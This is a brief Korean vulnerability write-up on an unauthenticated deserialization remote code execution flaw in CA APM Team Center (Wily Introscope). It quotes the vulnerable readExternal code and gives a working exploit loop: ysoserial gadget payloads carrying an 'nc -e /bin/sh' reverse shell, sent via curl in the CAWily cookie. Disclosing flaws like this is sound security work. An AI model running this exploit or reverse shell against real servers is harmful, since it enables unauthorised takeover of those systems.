
CA APM Team Center (Wily Introscope)에서의 원격 코드 실행
CA APM Team Center (Wily Introscope)에서의 원격 코드 실행.
CA APM Team Center의 역직렬화 취약점으로 인해 서버에서 인증되지 않은 원격 코드 실행이 발생합니다.
서버에 인증할 때 악명 높은 rO0 문자열로 시작하는 쿠키가 반환되는데, 이는 base64로 인코딩된 직렬화 객체를 나타냅니다.

정적으로 문제를 완전히 추적하지는 않았지만, 다음 코드가 취약점이 있는 코드일 것입니다.
public class HttpRequestHeaderInfo implements Externalizable {
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
in.readInt();
int numMapEntries = in.readInt();
this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);
for (int i = 0; i < numMapEntries; i++) {
this.fRequestParameterMap.put(in.readUTF(), in.readObject());
}
int numCookies = in.readInt();
this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];
for (int j = 0; j < this.fCookies.length; j++) {
this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
}
}
}
매개변수 맵과 쿠키가 사용자 입력의 readObject()를 사용하여 역직렬화된다는 점에 주목하세요.
이는 for 루프에서 적절한 가젯을 식별하여 쉽게 악용됩니다.
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
payload=$(cat cookie)
curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done
저에게 원격 코드 실행을 가능하게 한 유일한 페이로드는 CommonsBeanutils였습니다. 포함된 JAR은 org.apache.commons_beanutils_1.9.2.1.jar이며, maven 저장소에 따르면 실제로 취약한 가젯을 포함하고 있습니다.
헤더를 다시 확인하도록 해준 특별한 누군가에게 감사드립니다.